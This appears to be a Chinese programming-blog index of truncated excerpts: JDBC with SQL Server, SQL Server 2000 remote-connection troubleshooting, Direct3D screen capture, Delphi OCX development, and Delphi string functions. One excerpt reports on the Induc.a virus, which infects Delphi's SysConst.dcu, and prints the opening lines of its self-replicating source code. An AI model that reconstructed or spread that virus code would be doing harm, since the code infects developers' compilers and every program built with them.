不得不说的在 MS SQL SERVER 下的 JDBC 调用
今天下午，临时决定要再 MS SQL-SERVER 下配置 Spring 的数据源 DataSource 。但配置了半天,获取数据源仍不成功，我没有办法，找原因呗，只能写个列子测试下。先不管三七二十一，先上正确的例子再说。
看客如果想运行下面的代码，需要自己手工写个主函数调用，或者使用 JUnit 做个测试。如果这个例子运行成功,就说明不受机器环境影响，没有必要关闭防火墙和杀毒软件。
请注意，里面的红色字体，请换成实际SQL SERVER 服务器地址。【 dbc:sqlserver://localhost:1433】
即：
（1)connectionUrl
(2)String SQL = "SELECT [ID],[USER_ID],[NAME],[EMAIL] from [Z_MARK_MANAGE].[dbo].[USER]";
上面2个你必须得换。
package com.wellhope.bob;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import com.microsoft.sqlserver.jdbc.SQLServerDriver;
/**
* @author Bob
*
*/
public class GetConn {
/**
* @param args
* ......
sqlserver 2000 远程连接 服务器的解决方案
详细出处参考：http://www.jb51.net/article/18774.htm
具体步骤：
一、ping服务器IP能否ping通
观察远程SQL Server 2000服务器的物理连接是否存在。如果不行，请检查网络，查看配置，当然得确保远程sql server 2000服务器的IP拼写正确。
二 在Dos或命令行下输入telnet 服务器IP 端口，看能否连通
如telnet 202.114.100.100 1433
通常端口值是1433，因为1433是SQL Server 2000的对于Tcp/IP的默认侦听端口。如果有问题，通常这一步会出问题。通常的提示是“……无法打开连接,连接失败"。
如果这一步有问题，应该检查以下选项。
1.检查远程服务器是否启动了sql server 2000服务。如果没有，则启动。
2.检查服务器端有没启用Tcp/IP协议，因为远程连接（通过因特网）需要靠这个协议。检查方法是，在服务器上打开 开始菜单-#gt;程序-#gt;Microsoft SQL Server-#gt;服务器网络实用工具，看启用的协议里是否有tcp/ip协议，如果没有，则启用它。
3.检查服务器的tcp/ip端口是否配置为1433端口。仍然在服务器网络实用工具里查看启用协议里面的tcp/ip的属性，确保默认端口为1433，并且隐藏服务器复选框没 ......
专门针对delphi的，嵌入源码的病毒
如果在 X:\Program Files\Borland\Delphi7\Lib 发现有 SysConst.bak (12KB) 和
SysConst.dcu (18KB)，那么恭喜你，中招了。
http://topic.csdn.net/u/20090817/20/102ba10b-82ae-472d-a0be-6d54ce6a331b.html
http://bbs.2ccc.com/topic.asp?topicid=330829
http://bbs.2ccc.com/topic.asp?topicid=330760
http://www.delphibbs.com/delphibbs/dispq.asp?lid=3972581
好有趣的感染方式,够可爱了~
今天群的人发了一条链接,关于许多人SysConst.dcu被感染.
被感染后的SysConst.dcu体积是18KB左右,正常的SysConst.dcu是12KB左右.
偷偷瞄了一下偶的SysConst.dcu,竟然被感染了,而且潜伏的时间应该超过4个月~
只是前两天卡巴更新病毒库,卡巴报病毒名为:Virus.Win32.Induc.a,大家才发觉有所不妥.
uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',
'= #36 thens:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pc ......
转自：http://www.52delphi.com/List.asp?ID=597&Page=1
核心提示：函数需要 uses Direct3D9,D3DX9; 偶然发现一个函数可以直接保存表面到文件1！所以修改了一下，函数为：...
procedure CaptureScreen(Const FileName: string);
var
BitsPerPixel: Byte;
pD3D: IDirect3D9;
pSurface: IDirect3DSurface9;
g_pD3DDevice: IDirect3DDevice9;
D3DPP: TD3DPresentParameters;
ARect: TRect;
LockedRect: TD3DLockedRect;
BMP: TBitmap;
i, p: Integer;
begin
BitsPerPixel := GetDeviceCaps(Canvas.Handle, BITSPIXEL);
FillChar(d3dpp, SizeOf(d3dpp), 0);
D3DPP.Windowed := True;
D3DPP.Flags := D3DPRESENTFLAG_LOCKABLE_BACKBUFFER;
D3DPP.SwapEffect := D3DSWAPEFFECT_DISCARD;
D3DPP.BackBufferWidth := Screen.Width;
D3DPP.BackBufferHeight := Screen.Height;
D3DPP.BackBufferFormat := D3DFMT_X8R8G8B8;
pD3D := Direct3DCreate9(D3D_SDK_VERSION);
pD3D.CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, GetDesktopWindow,
D3DCREATE_SOFTWARE_VERTEXPROCESSING, @D3DPP, g_pD3DDevice);
g_pD3DDevice.Crea ......
由于项目的需要，近期开始学习用delphi开发一个软电话控件。
以前接触过一些delphi开发方面的东西（当然都是些皮毛啦），但没接触过ocx控件的开发，在此把一些简单的东西记下来，一方面以后自己可以再学习，另一方面希望对刚刚学习delphi开发ocx控件的初学者有所帮助，如果有什么写的不对和写的不好的地方，还请各位多多指正，在此先谢谢了。
关于ocx控件的一些基础知识在这里就不说这么多了，网络上有很多这方面的文章，有兴趣的朋友可以到网上去搜搜！！
Delphi集成开发环境对开发ocx控件提供了很好的支持，只要简单的几步就可以开发出属于自己的ocx控件了，下面是delphi开发ocx的一些简单的步骤：
1、 打开delphi集成开发环境，选择File->new->other，此时弹出一个多页的窗口，选择ActiveX页，选择ActiveX Form,点击OK后，弹出工程属性框，为ActiveX起一个名字，这样一个ocx控件的工程就建立好了
2、 保存工程
这样一个oc ......
Delphi字符串函数大全
uses StrUtils;
【字符串函数大全】
首部 function AnsiResemblesText(const AText, AOther: string): Boolean;
$[StrUtils.pas
功能 返回两个字符串是否相似
说明 ANSI(American National Standards Institute)美国国家标准协会;不区分大小写
参考 function StrUtils.SoundexProc; var StrUtils.AnsiResemblesProc
例子 CheckBox1.Checked := AnsiResemblesText(Edit1.Text, Edit2.Text);
━━━━━━━━━━━━━━━━━━━━━
首部 function AnsiContainsText(const AText, ASubText: string): Boolean;
$[StrUtils.pas
功能 返回字符串AText是否包含子串ASubText
说明 不区分大小写
参考 function StrUtils.AnsiUppercase; ......
最新文章 :